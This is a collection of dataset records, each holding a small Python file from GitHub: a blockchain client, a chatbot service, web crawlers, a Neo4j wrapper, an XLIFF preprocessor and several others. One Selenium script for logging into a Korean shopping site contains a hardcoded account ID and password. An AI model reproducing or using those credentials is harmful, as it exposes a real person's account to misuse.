file:\n\t\tfile.write(public_key)\n\ndef obtain_keys():\n\n\tif len(os.listdir(KEY_DIR)) == 0:\n\t\tLOGGER.warn(\"Keys were deleted this could genreate some problems \\\n\t\t\tit the network has a permissioned desing\")\n\t\tLOGGER.info(\"Regenerating keys...\")\n\t\tgenerate_keys()\n\t\n\tglobal signer\n\n\ttry:\n\t\twith open(KEY_DIR + \"mykey.priv\") as fd:\n\t\t\tprivate_key_str = fd.read().strip()\n\texcept OSError as err:\n\t\traise Exception('Failed to read private key {}: {}'.format(KEY_DIR, str(err))) from err\n\ttry:\t\n\t\tprivate_key = Secp256k1PrivateKey.from_hex(private_key_str)\n\texcept ParseError as e:\n\t\traise Exception('Unable to load private key: {}'.format(str(e))) from e\n\n\tsigner = CryptoFactory(create_context('secp256k1')).new_signer(private_key)\n\ndef send_transaction(payload_bytes, private_key, global_state_addr):\n\n\tcontext = sawtooth_signing.create_context(\"secp256k1\")\n\tsigner = CryptoFactory(context).new_signer(Secp256k1PrivateKey.from_hex(private_key))\n\n\t_nounce = hex(random.randint(0, 2**64))\n\n\tLOGGER.debug(_nounce)\n\n\ttxn_header_bytes = TransactionHeader(\n\t\tfamily_name='ioc',\n\t\tfamily_version='1.0',\n\t\tinputs=[global_state_addr],\n\t\toutputs=[global_state_addr],\n\t\tsigner_public_key=signer.get_public_key().as_hex(),\n\t\tbatcher_public_key=signer.get_public_key().as_hex(),\n\t\tdependencies=[],\n\t\tpayload_sha512=sha512(payload_bytes).hexdigest(),\n\t\tnonce=_nounce\n\t).SerializeToString()\n\n\tsignature = signer.sign(txn_header_bytes)\n\n\ttxn = Transaction(\n\t\theader=txn_header_bytes,\n\t\theader_signature=signature,\n\t\tpayload=payload_bytes\n\t)\n\t\n\ttxns = [txn]\n\n\tbatch_header_bytes = BatchHeader(\n\t\tsigner_public_key=signer.get_public_key().as_hex(),\n\t\ttransaction_ids=[txn.header_signature for txn in txns],\n\t).SerializeToString()\n\n\tsignature = signer.sign(batch_header_bytes)\n\n\tbatch = Batch(\n\t\theader=batch_header_bytes,\n\t\theader_signature=signature,\n\t\ttransactions=txns,\n\t\ttrace = True\n\t)\n\n\tLOGGER.debug(\"Batch signature:\" + signature)\n\n\tbatch_list_bytes = BatchList(batches=[batch]).SerializeToString()\n\n\theaders={'Content-Type': 'application/octet-stream'}\n\n\tresult = requests.post(URL, headers=headers, data=batch_list_bytes)\n\tif(result.status_code != 202):\n\t\tLOGGER.error(\"Error sending the transaction\")\n\t\tLOGGER.error(result.text)\n\t\treturn -1\n\n\treturn signature\n\n\t\n","repo_name":"MarioPalomaresGallego/IOC-Transaction-Family","sub_path":"client/IOC_Site/IOC/sawtooth_client.py","file_name":"sawtooth_client.py","file_ext":"py","file_size_in_byte":3797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31791334951","text":"from Leetcode_Problems_Python.Solver_Interface import Solver\nfrom typing import Optional, List\nimport re \n\n\n\nclass BinarySum_Solver(Solver):\n\n def solve(self, a: str, b: str) -> str:\n\n # M: easy idea: convert str to int, add, return back to binary\n \n a_i = int(a,2)\n b_i = int(b,2)\n \n sum_i = a_i + b_i\n \n return format(sum_i, 'b')\n\n def test_solve(self):\n a = \"1010\"\n b = \"1011\"\n \n sum_res = self.solve(a,b)\n print(\"Sum: \", sum_res)","repo_name":"Bussler/LeetCode_Grind75","sub_path":"Leetcode_Problems_Python/BinarySum_Solver.py","file_name":"BinarySum_Solver.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30869184211","text":"import logging\n\nfrom tornado import gen\n\nfrom chatbot.services import Service\nfrom chatbot.services.facebook import msg\nfrom chatbot.misc.router import url_for\n\nclass FacebookService(Service):\n \n name = 'facebook'\n\n def __init__(self, *args, **kwargs):\n super(FacebookService, self).__init__(*args, **kwargs)\n self._ready = False\n self.start()\n\n @property\n def ready(self):\n return self._ready\n\n @gen.coroutine\n def start(self):\n settings = [msg.SettingRequest(setting_type='domain_whitelisting', \n whitelisted_domains=['https://www.sumopromo.com'], \n domain_action_type='add'),\n msg.SettingRequest(setting_type='account_linking_url',\n account_linking_url=url_for('account.facebook_auth')),\n msg.SettingRequest(setting_type='greeting', \n greeting=[\n {\n 'text': 'SumoPromo - A real-time, location-based, on-demand promotion platform.',\n 'locale': 'default'\n }\n ]),]\n\n yield [self.fetch(setting.to_http_request()) for setting in settings]\n self._ready = True\n \n @gen.coroutine\n def handle_incoming_data(self, data):\n logging.debug('Facebook service handling incoming data ', data)\n\n if not self.ready:\n logging.error('Facebook service is not ready yet')\n return\n\n message_requests = []\n message_events = data['entry'][0]['messaging']\n for event in message_events:\n try:\n requests = yield self.generate_message_requests(event)\n message_requests += requests\n except KeyError:\n continue\n \n logging.debug('Facebook service sending replies to client')\n try:\n for request in message_requests:\n # send one by one, in order\n yield self.fetch(request.to_http_request())\n except Exception as e:\n logging.error(e)\n raise\n\n return\n \n @gen.coroutine\n def generate_message_requests(self, event):\n text = event['message']['text']\n sender_id = event['sender']['id']\n\n recipient = msg.Recipient(recipient_id=sender_id)\n \n replies = yield self.manager.generate_replies(text)\n \n requests = [ msg.MessageRequest(recipient, reply.to_facebook()) for reply in replies ]\n\n return requests\n","repo_name":"cgle/sumopromo","sub_path":"chatbot/services/facebook/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15653769325","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nclass ShoppingOnInternet():\n def __init__(self):\n self.browser = input( '어떤 브라우저를 선택하시겠습니까?')\n\n def get_brower(self):\n while True:\n if self.browser in \"c\":\n self.driver = webdriver.Chrome('C:\\pydata\\chromedriver_win32\\chromedriver.exe')\n break\n else:\n self.brwser = input(\"다시 입력해주세요\")\n continue\n\n \n\n #로그인 정보\n def login_tohomepage(self):\n #로그인 정보 입력\n id = 'Hyun6467'\n pw = '1Q2W3E!!'\n xpaths = {'id':\"//input[@name='id']\", 'pw': \"//input[@name='pwd']\" }\n\n self.driver.find_element_by_class_name(\"link__usermenu\").click()\n \n # 2. 로그인 정보 넣기\n self.driver.find_element_by_xpath(xpaths['id']).send_keys(id)\n self.driver.find_element_by_xpath(xpaths['pw']).send_keys(pw)\n\n # 3. 로그인 버튼 클릭릭\n self.driver.find_element_by_class_name(\"button_login\").click()\n\n\n #g마켓 브라우져 넣기\n def invoke_brower(self): \n url = \"http://www.gmarket.co.kr\"\n self.driver.get(url)\n self.driver.save_screenshot('1_brower_on.png')\n \n self.driver.find_element_by_xpath(\"/html/body/div/div[2]/div/div/div/div/div[2]/div[3]/ul/li[1]/a\")\n\n try:\n print('> try ~ except')\n except \"G마켓 - 쇼핑을 다 담다.\" not in self.driver.title:\n f = open('exception.txt', 'rw')\n f.write('Not exect title in driver.title\\n')\n f.close()\n\n \n def buy_goods(self):\n self.driver.find_element_by_name(\"keyword\").clear()\n self.driver.find_element_by_name(\"keyword\").send_keys(u\"대통령의 말하기\")\n self.driver.find_element_by_css_selector(\"button.button__search\").click()\n self.driver.implicitly_wait(3)\n\n # 2. 검색 결과 중 상품 선택\n self.driver.find_element_by_css_selector(\"span.text__item\").click()\n\n # def tear_down(self):\n # opened_window_list = self.driver.window_handles\n\n # # 열려있는 모든 window 로그아웃\n # index = len(opened_window_list)\n\n # self.driver.switch_to_window(self.driver.window_handles[index-1])\n # index = index -1\n # self.driver.find_element_by_xpath(\"//span{@class='myinfo']/a\").click()\n # self.driver.close()\n \nif __name__ == \"__main__\":\n shopping = ShoppingOnInternet()\n shopping.get_brower()\n shopping.invoke_brower()\n shopping.login_tohomepage()\n shopping.buy_goods()\n shopping.tear_down()\n\n\n\n\n\n\n","repo_name":"kuk6467/escape","sub_path":"Sanghyun/Selenium/gmaket_login.py","file_name":"gmaket_login.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13877747934","text":"## Library\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nimport time\nimport json\nimport re\nimport pandas as pd\nfrom tqdm import tqdm\n\ndf = pd.read_csv('save_crawl.csv')\nlinks = df.Links.tolist()\n\ndef save_table(h3_name, h3_title):\n i=0\n header = h3_name.find_next_sibling('h4')\n\n while i < 3:\n header_title = header.text\n\n if (header_title == 'Components') or (header_title=='Data Table'):\n header_table = header.find_next_sibling('table')\n table_rows = header_table.find_all('tr')\n\n cols_lst = table_rows[0].findAll('th')\n cols = [tr.text for tr in cols_lst]\n\n l = []\n for tr in table_rows:\n td = tr.find_all('td')\n row = [tr.text for tr in td]\n l.append(row)\n df = pd.DataFrame(l[1:], columns=cols)\n df.to_csv(f'{h3_title}_{header_title}.csv', index=False)\n \n header = header.find_next_sibling('h4')\n i += 1\n\n elif header_title == 'Constant Value':\n header_table = header.find_next_sibling('table')\n type = header_table.th.text # 종류: Temperature or Pressure\n v = float(header_table.td.text) # 수치\n\n result = [[type, v]]\n df = pd.DataFrame(result)\n df.to_csv(f'{h3_title}_{header_title}.csv', index=False, header=False)\n\n header = header.find_next_sibling('h4')\n i += 1\n\n else:\n i += 1\n continue\n\n## 홈페이지\ndriver = webdriver.Chrome('/Users/yuheunkim/Downloads/chromedriver') ## CHROMEDRIVER DIR\ndriver.implicitly_wait(3)\n\nurl = 'http://www.ddbst.com/en/EED/VLE/'\n\nfor l in tqdm(links):\n # 링크 열기\n driver.get(url + l)\n time.sleep(0.5)\n # 소스 보기\n html = driver.page_source\n soup = BeautifulSoup(html, 'html.parser')\n\n if len(soup.find_all('h3')) == 1:\n dataset = soup.h3\n dataset_title = dataset.text\n save_table(dataset, dataset_title)\n\n elif len(soup.find_all('h3')) > 1:\n dataset = soup.h3\n dataset_title = dataset.text\n \n i = 0\n while i < len(soup.find_all('h3')):\n dataset_title = dataset.text\n save_table(dataset, dataset_title)\n i+=1\n dataset = dataset.find_next_sibling('h3')\n\ndriver.close()\n","repo_name":"yuheunk/crawl_code","sub_path":"chem_crawl.py","file_name":"chem_crawl.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9582350553","text":"import sys\nfrom concurrent.futures.thread import ThreadPoolExecutor\nfrom queue import Queue\nfrom threading import Thread\nimport threading\n\n\ndef _handler(event_json, respond):\n pass\n\n\nrunning = False\n\nPY3K = sys.version_info >= (3, 0)\n\nif PY3K:\n source = sys.stdin.buffer\nelse:\n # Python 2 on Windows opens sys.stdin in text mode, and\n # binary data that read from it becomes corrupted on \\r\\n\n if sys.platform == \"win32\":\n # set sys.stdin to binary mode\n import os, msvcrt\n\n msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY)\n source = sys.stdin\n\nBUFFER_SIZE = 1024\n\n\ndef read(byte_count):\n recv = source.read(min(byte_count, BUFFER_SIZE))\n l = len(recv)\n while l < byte_count:\n next_recv = source.readrecv(min(byte_count - l, BUFFER_SIZE))\n recv += next_recv\n l += len(next_recv)\n return recv\n\n\ndef set_handler(handler):\n global _handler\n _handler = handler\n\n\ndef print_err(*msgs):\n print(\" \".join(str(msg) for msg in msgs), file=sys.stderr)\n pass\n\n\nstartup_latch = None\nshutdown_latch = None\nthreaded_execution = \"--threaded\" in sys.argv\n\n\n# print_err(\"threaded mode:\", threaded_execution)\n\n\ndef stop(clear_message_queue=False):\n global running\n\n if threaded_execution:\n shutdown_latch.wait()\n if clear_message_queue:\n while not message_queue.empty():\n message_queue.get(False)\n running = False\n\n\ndef start():\n global running, startup_latch, shutdown_latch\n if running:\n return\n running = True\n if threaded_execution:\n startup_latch = CountDownLatch(2)\n shutdown_latch = CountDownLatch(2)\n Thread(target=message_reader).start()\n Thread(target=message_writer).start()\n startup_latch.wait()\n else:\n while running:\n mid, message = fetch_message()\n _handler(message, lambda response: send_message(mid, response))\n\n\ndef __handler(array_args):\n # print_err(\"__HANDLER CALLED\", *array_args)\n result = None\n try:\n result = _handler(*array_args)\n except Exception as e:\n print_err(\"EXCEPTION OCCURRED\")\n print_err(e)\n return result\n\n\ndef message_reader():\n startup_latch.count_down()\n try:\n while running:\n mid, event_json = fetch_message()\n # respond = lambda response: message_queue.put((mid, response))\n thread_pool.submit(__handler, [event_json, respond(mid)])\n # thread_pool.submit(__handler, [event_json, respond])\n except Exception as e:\n print_err(e)\n shutdown_latch.count_down()\n\n\ndef respond(mid):\n return lambda response: message_queue.put((mid, response))\n\n\ndef message_writer():\n startup_latch.count_down()\n while running:\n mid, message = message_queue.get()\n send_message(mid, message)\n shutdown_latch.count_down()\n\n\nmessage_queue = Queue()\nthread_pool = ThreadPoolExecutor()\n\n\ndef fetch_message():\n id = read_int_bytes()\n event_length = read_int()\n message = read_UTF(event_length)\n return id, message\n\n\ndef read_int():\n return parse_int(read_int_bytes())\n\n\ndef parse_int(bytes):\n return int.from_bytes(bytes, \"big\")\n\n\ndef read_int_bytes():\n return read(4)\n\n\ndef read_UTF(length):\n return read(length).decode(\"utf-8\")\n\n\ndef send_message(mid, response):\n # print_err(\"> WRITING [\" + str(mid) + \"]: \" + str(response))\n to_write = mid + int_to_bytes(len(response)) + response\n sys.stdout.buffer.write(to_write)\n sys.stdout.flush()\n\n\ndef int_to_bytes(n):\n return n.to_bytes(4, \"big\")\n\n\ndef bytes_to_int(bytes):\n return int.from_bytes(bytes, \"big\")\n\n\nclass CountDownLatch:\n def __init__(self, count=1):\n self.count = count\n self.lock = threading.Condition()\n\n def count_down(self):\n self.lock.acquire()\n self.count -= 1\n if self.count <= 0:\n self.lock.notifyAll()\n self.lock.release()\n\n def wait(self):\n self.lock.acquire()\n while self.count > 0:\n self.lock.wait()\n self.lock.release()\n","repo_name":"tobq/gym4j-py","sub_path":"porter.py","file_name":"porter.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7289346212","text":"class Alunos:\n def __init__(self, idade=0, altura=0):\n self.idade = idade\n self.altura = altura\n\n def __repr__(self):\n return f\"Idade: {self.idade} Altura: {self.altura}\"\n\n\ni = int(input(\"Quantidade de Alunos: \"))\nmediaAltura = 0\nlistaAlunos = []\naltura = 0\nmenorMedia = []\nfor i in range(i):\n idade = int(input(\"Idade: \"))\n altura = float(input(\"Altura: \"))\n aluno = Alunos(idade, altura)\n listaAlunos.append(aluno)\n mediaAltura += altura\n\nmediaAltura / len(listaAlunos)\nprint(mediaAltura)\nprint(listaAlunos)\n'''INCOMPLETO'''","repo_name":"Mckz33/Exercicios_Python_Listas","sub_path":"exerc-12.py","file_name":"exerc-12.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22654938169","text":"import webapp2\nimport jinja2\nimport os\n\nfrom google.appengine.ext import ndb\nfrom google.appengine.api import users\nfrom google.appengine.ext import blobstore\nfrom blobCollection import BlobCollection\nfrom uploadHandler import UploadHandler\nfrom myuser import MyUser\n\nJINJA_ENVIRONMENT = jinja2.Environment(\nloader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\nextensions=['jinja2.ext.autoescape'],\nautoescape=True\n)\n\nclass AddPlayersData(webapp2.RequestHandler):\n def get(self):\n self.response.headers['Content-Type'] = 'text/html'\n\n collection_key = ndb.Key('BlobCollection', 1)\n collection = collection_key.get()\n\n user = users.get_current_user()\n logout = users.create_logout_url('/')\n\n myuser_key = ndb.Key('MyUser', user.user_id())\n myuser = myuser_key.get()\n\n if collection == None:\n collection = BlobCollection(id=1)\n collection.put()\n\n template_values = {'collection' : collection,\n 'upload_url' : blobstore.create_upload_url('/upload'),\n 'logout' : logout}\n\n template = JINJA_ENVIRONMENT.get_template('addPlayersData.html')\n self.response.write(template.render(template_values))\n","repo_name":"bejoysimon/MasterThesis","sub_path":"addPlayersData.py","file_name":"addPlayersData.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28239792604","text":"'''\nAn implementation of the Sieve of Eratosthenes in Python\n'''\n\nfrom math import sqrt\nfrom time import perf_counter as pc\n\n\ndef get_user_input():\n print('\\n All the primes from 2 up to the integer entered will be returned.')\n N = input(\" enter a positive integer: \")\n return int(N)\n\ndef sieve(N):\n '''Create an array that will have True at prime-numbered indices \n and False everywhere else.'''\n arr = [True] * (N + 1)\n arr[0], arr[1] = False, False\n\n for idx in range(2, int(sqrt(N))+ 1):\n if arr[idx]:\n k = 0\n jdx = idx ** 2\n while jdx <= N:\n arr[jdx] = False\n k += 1\n jdx = idx ** 2 + idx * k\n return arr\n\ndef primed(arr):\n '''Take the Boolean array returned from sieve(),\n and return the list of primes up to N.'''\n return [idx for idx in range(len(arr)) if arr[idx]]\n\n\ndef pretty_print(lst, N):\n nr_of_primes = len(lst)\n print(f\" the {nr_of_primes} primes from 2 to {N} are\\n \")\n for idx in range(len(lst)):\n string = str(lst[idx]).rjust(8)\n if not (idx + 1) % 6:\n string += '\\n'\n print(string, end='')\n print('\\n\\n')\n\n\nif __name__ == '__main__':\n N = get_user_input()\n t0 = pc()\n list_of_primes = primed(sieve(N)) \n t1 = pc() - t0\n pretty_print(list_of_primes, N)\n print(' time: ', t1, ' sec', '\\n')\n\n","repo_name":"jwbat/python","sub_path":"primes.py","file_name":"primes.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32877169515","text":"''' End of service reward '''\nimport datetime\n\nclass eosr():\n\n\n\n def __init__(self, name, joining_date, salary):\n self.name = name\n self.joining_date = datetime.datetime( int(joining_date[0:4]) , int(joining_date[5]) , int(joining_date[-1]) )\n self.salary = salary\n\n def reward(self):\n dn = datetime.datetime.now()\n a = str(dn - self.joining_date)\n b = ''\n for i in a:\n b += i\n if i.isspace() == True:\n break\n\n x = int(b) / 365\n\n if 1 < int(x) <= 3 :\n g = int(b) / 30\n gg = (0.10 * self.salary) * g\n return f'He mr {self.name}, You worked with us {int(x)} years \\nyou will git {int(gg)}$ end of service Benefits'\n elif int(x) > 4 :\n g = int(b) / 30\n gg = (0.25 * self.salary) * g\n return f'He mr {self.name}, You worked with us {int(x)} years \\nyou will git {int(gg)}$ end of service Benefits'\n else:\n g = int(b) / 30\n gg = (0.05 * self.salary) * g\n return f'He mr {self.name}, You worked with us {int(x)} years \\nyou will git {int(gg)}$ end of service Benefits'\n\n\n\n\n\np = eosr('nasser','2015-5-12',5000)\nprint(p.reward())\n''' \nHe mr nasser, You worked with us 5 years \nyou will git 91000$ end of service Benefits\n''' ","repo_name":"ios509/reward","sub_path":"reward__.py","file_name":"reward__.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"43706932049","text":"from neo4j import GraphDatabase, Session, basic_auth, BoltStatementResult, BoltStatementResultSummary\nfrom json import dumps\nimport time\n\n\nclass Neo4jDatabase(object):\n def __init__(self, uri, user, password):\n self.driver = GraphDatabase.driver(uri, auth=basic_auth(user, password))\n\n def creatSession(self):\n return self.driver.session()\n\n def close(self):\n self.driver.session().close()\n\n def getRelatedNode(self, keywords, limit=50):\n with self.creatSession() as session:\n result = session.run(\"MATCH (m)\"\n \"WHERE (any(prop in keys(m) WHERE toString(m[prop]) =~ {keywords})) \"\n \"RETURN m as nod, ID(m) as ck \"\n # \"LIMIT {limit}\",\n , {\"keywords\": \"(?i).*\\\\b\" + str.strip(keywords) + \"\\\\b.*\"})\n # pointer of result\n # print(self.nodeToJson(result))\n\n return result\n\n def getNeighbourhood(self, ck):\n #print(type(ck))\n with self.driver.session() as session:\n result = session.run(\"MATCH (m)-[r]-(n)\"\n \"WHERE ID(m) = {ck}\"\n \"return m as start,n as end,r as relationship\", {\"ck\": int(ck)})\n return result\n\n @staticmethod\n def neibourToJson(result):\n relationships = result.graph().relationships\n relationlist = {}\n index = 0\n nodes = []\n edges = []\n for eachRel in relationships:\n startcaption = \"\"\n endcaption = \"\"\n if index == 0:\n for i, j in eachRel.end_node.items():\n startcaption += i + \":\" + str(j) + \"\\n\"\n nodes.append({'id': index, 'caption': startcaption})\n index += 1\n for i, j in eachRel.start_node.items():\n endcaption += (i + \":\" + str(j) + \"\\n\")\n nodes.append({'id': index, 'caption': endcaption})\n edgeLabel = eachRel.type\n edges.append({'source': 0, 'target': 1, 'caption': edgeLabel})\n else:\n for i, j in eachRel.start_node.items():\n endcaption += (i + \":\" + str(j) + \"\\n\")\n nodes.append({'id': index, 'caption': endcaption})\n index += 1\n edgeLabel = eachRel.type\n edges.append({'source': 0, 'target': index, 'caption': edgeLabel})\n relationlist.update({'nodes': nodes})\n relationlist.update({'links': edges})\n return dumps(relationlist, indent=2)\n\n @staticmethod\n def nodeToJson(result):\n all_node_json = []\n for record in result:\n dic = {}\n for i in record.keys():\n if i == 'ck':\n dic.update({i: record[i]})\n else:\n for j, k in record[i].items():\n dic.update({j: k})\n all_node_json.append(dic)\n return dumps(all_node_json)\n\n def getNodeTime(self, keywords):\n total_time = 0.0\n start = time.time()\n result = self.getRelatedNode(keywords)\n total_time = time.time() - start\n return total_time\n\n def getNeiTime(self, ck):\n total_time = 0.0\n start = time.time()\n result = self.getNeighbourhood(ck)\n total_time = time.time() - start\n return total_time\n","repo_name":"stevenneptune/Knowledgegraph","sub_path":"src/neo4j_database.py","file_name":"neo4j_database.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35800005153","text":"from typing import Optional\n\nfrom webdnn.graph import traverse\nfrom webdnn.graph.graph import Graph\nfrom webdnn.graph.operators.elementwise import Elementwise\nfrom webdnn.graph.variable import Variable\nfrom webdnn.graph.variables.constant_variable import ConstantVariable\n\n\nclass FusedElementwise(Elementwise):\n \"\"\"\n Fused elementwise operator\n\n Before:\n\n ... code-block:: text\n\n sub graph\n +-------------------------------+\n -{op0}-> v1 -|-{op1}-> v2 -{op2}-> v3 -{op3}-|-> v4 -{op4}->\n +-------------------------------+\n\n After:\n\n ... code-block:: text\n\n -{op0}-> v1 -{________FusedElementwise_______}-> v4 -{op4}->\n\n A A\n : :\n : mapping : mapping\n : :\n V V\n +-------------------------------+\n v5 -|-{op1}-> v2 -{op2}-> v3 -{op3}-|-> v7\n +-------------------------------+\n\n \"\"\"\n\n def __init__(self, name: Optional[str], sub_graph: Graph):\n super().__init__(name)\n self.real2dummy = {}\n self.dummy2real = {}\n ops = traverse.listup_operators(sub_graph)\n\n dummy_xs = []\n for i, x in enumerate(sub_graph.inputs):\n dummy_x = self._create_dummy(x)\n for op in list(x.input_to):\n if op in ops:\n op.replace_input(x, dummy_x)\n self.append_input(f\"x{i}\", x)\n\n dummy_xs.append(dummy_x)\n\n y = sub_graph.outputs[0]\n dummy_y = self._create_dummy(y)\n y.output_from.replace_output(y, dummy_y)\n self.append_output(\"y\", y)\n\n self.sub_graph = Graph(dummy_xs, [dummy_y])\n\n def _create_dummy(self, v):\n if v in self.real2dummy:\n dummy = self.real2dummy[v]\n\n else:\n if isinstance(v, ConstantVariable):\n dummy = ConstantVariable(v.data, v.order)\n\n else:\n dummy = Variable(v.shape, v.order)\n\n self.real2dummy[v] = dummy\n self.dummy2real[dummy] = v\n\n return dummy\n\n def __call__(self):\n raise TypeError(\"FusedElementwise is not callable\")\n\n def exec(self):\n raise TypeError(\"FusedElementwise is not executable\")\n","repo_name":"LinXueyuanStdio/hash2face","sub_path":"webdnn/src/graph_transpiler/webdnn/graph/operators/fused_elementwise.py","file_name":"fused_elementwise.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"10479971444","text":"import re\nimport html\nimport argparse\nimport unicodedata\nimport string\n\n\nclass XLIFFer:\n\n # path_to_files: e.g. XLIFF_queries/translations/de/1_Anja/query_\n # number of queries n: will read in all files from query_1.xliff until query_n.xliff\n # la_code: {\"de\", \"es\", \"fr\"}\n def __init__(self, path_to_files, number_of_queries, generate_source=False):\n self.path = path_to_files\n self.num_queries = number_of_queries\n self.generate_source = generate_source\n if generate_source:\n self.source = []\n self.source_re = re.compile(\"(?<=<source>).+(?=</source)\")\n self.target = []\n self.target_re = re.compile(\"(?<=target state=\\\"translated\\\">).+(?=</target)\")\n punctuation_to_remove = string.punctuation.replace(\":\", \"\").replace(\"<\", \"\").replace(\">\", \"\").replace(\"=\", \"\").replace(\"\\\"\", \"\")\n self.punctuation_regex = re.compile('[%s]' % re.escape(punctuation_to_remove))\n self.whitespace_regex = re.compile('\\s\\s+')\n\n def read_in(self):\n # we are interested in lines like <source>Psychosocial needs \"Cancer patients\" (Palliative OR care) PY>=2006\n # PY<=2016</source> <target state=\"translated\">Psychosoziale Bedürfnisse \"Krebspatienten\" (palliativ OR Pflege)\n # PY>=2006 PY<=2016</target> </trans-unit>\n print(\"Reading in queries...\")\n for i in range(1, self.num_queries+1):\n file_path = self.path + str(i) + \".xliff\"\n with open(file_path, \"r\") as f:\n for line in f:\n if self.generate_source:\n self.get_match(line, False)\n\n target_match_found = self.get_match(line)\n if target_match_found:\n # only one target per file -> don't have to read in the remaining lines\n break\n print(\"Done.\")\n\n def get_match(self, line, target=True):\n if target:\n regex = self.target_re\n collection = self.target\n else:\n regex = self.source_re\n collection = self.source\n match = regex.search(line)\n if match:\n match = match.group()\n match = html.unescape(match)\n # replace 'ß' with 'ss' since unicode.normalize simply deletes the whole character\n match = match.replace(\"ß\", \"ss\")\n\n # remove diacritics\n match = unicodedata.normalize('NFKD', match).encode('ASCII', 'ignore').decode()\n\n # String.punctuation only knows ASCII punctuation\n match = self.punctuation_regex.sub(' ', match)\n match = self.whitespace_regex.sub(' ', match)\n collection.append(match)\n return True\n\n def write_to_file(self):\n tgt_path = self.path[:-1] + \".tgt\"\n print(\"Writing target to path \" + tgt_path + \"...\")\n with open(tgt_path, \"w\") as f:\n for target_line in self.target:\n f.write(target_line + \"\\n\")\n print(\"Done.\")\n if self.generate_source:\n src_path = self.path[:-1] + \".src\"\n print(\"Writing source to path \" + src_path + \"...\")\n with open(src_path, \"w\") as g:\n for src_line in self.source:\n g.write(src_line + \"\\n\")\n print(\"Done.\")\n\n def run(self):\n self.read_in()\n self.write_to_file()\n\n\nif __name__ == \"__main__\":\n argparser = argparse.ArgumentParser(\n description=\"Converts the XLIFF queries into a file containing one translated query per line. Removes \"\n \"punctuation and diacritics\")\n argparser.add_argument(\"path_to_files\", type=str, help=\"Path to XLIFF files, e.g. \"\n \"XLIFF_queries/translations/de/1_Anja/query_\")\n argparser.add_argument(\"number_of_queries\", type=int, help=\"If this argument is n, the script will try to read in \"\n \"all files from query_1.xliff until query_n.xliff\")\n\n argparser.add_argument(\"-s\", \"--source\", dest=\"generate_source\", action='store_true',\n help=\"If this option is set, the script will not only generate a target (translated) file, \"\n \"but also one containing the source queries\")\n args = argparser.parse_args()\n\n converter = XLIFFer(args.path_to_files, args.number_of_queries, args.generate_source)\n converter.run()","repo_name":"clubs-project/DBtranslator","sub_path":"scripts/eval/preprocess_xliff_queries.py","file_name":"preprocess_xliff_queries.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28184241410","text":"def main():\n plate = input(\"Plate: \")\n if is_valid(plate):\n print(\"Valid\")\n else:\n print(\"Invalid\")\n\n\ndef is_valid(s):\n\n if len(s) < 2 or 7 < len(s):\n return False\n counta = 0\n countb = 0\n i = 0\n while i < len(s):\n\n if s[i].isalpha():\n counta += 1\n i += 1\n elif s[i].isdigit():\n countb += 1\n i += 1\n else:\n i += 1\n return False\n\n front = s[0:counta]\n end = s[counta:counta+countb]\n if len(end)>0:\n if end[0]=='0':\n return False\n elif len(front)<2:\n return False\n elif end.isalpha():\n return False\n elif front+end == s:\n return True\n else:\n if not front.isalpha():\n return False\n else:\n return True\n\n\nif __name__ == '__main__':\n main()","repo_name":"OziMoa/CS50works","sub_path":"plates/plates.py","file_name":"plates.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31938997116","text":"import grpc\n\nfrom logging import Logger\nfrom typing import Callable, Any, get_type_hints\n\nfrom google.protobuf.message import Message\nfrom grpc import ServicerContext as Context\n\n\nGRPCService = Callable[[Any, Any, Any], Any]\n\n\nclass ExitGRPCCallWithCode(Exception):\n def __init__(self, ctx: Context, status_code, details: str = \"\"):\n ctx.set_code(status_code)\n ctx.set_details(details)\n super().__init__()\n\n\ndef catch_exceptions(logger: Logger = None):\n def decorator_func(func: GRPCService) -> GRPCService:\n def wrapper(instance, req: Message, ctx: Context) -> Message:\n try:\n res = func(instance, req, ctx)\n return res\n\n except ExitGRPCCallWithCode:\n return Message()\n\n except Exception as e:\n if logger is not None:\n logger.error(e)\n\n ctx.set_code(grpc.StatusCode.INTERNAL)\n ctx.set_details(\"Unknown error happened during processing request.\")\n\n return Message()\n\n return wrapper\n return decorator_func\n","repo_name":"mmohaveri/python-tool-belt","sub_path":"src/toolbelt/grpc.py","file_name":"grpc.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27664786270","text":"from 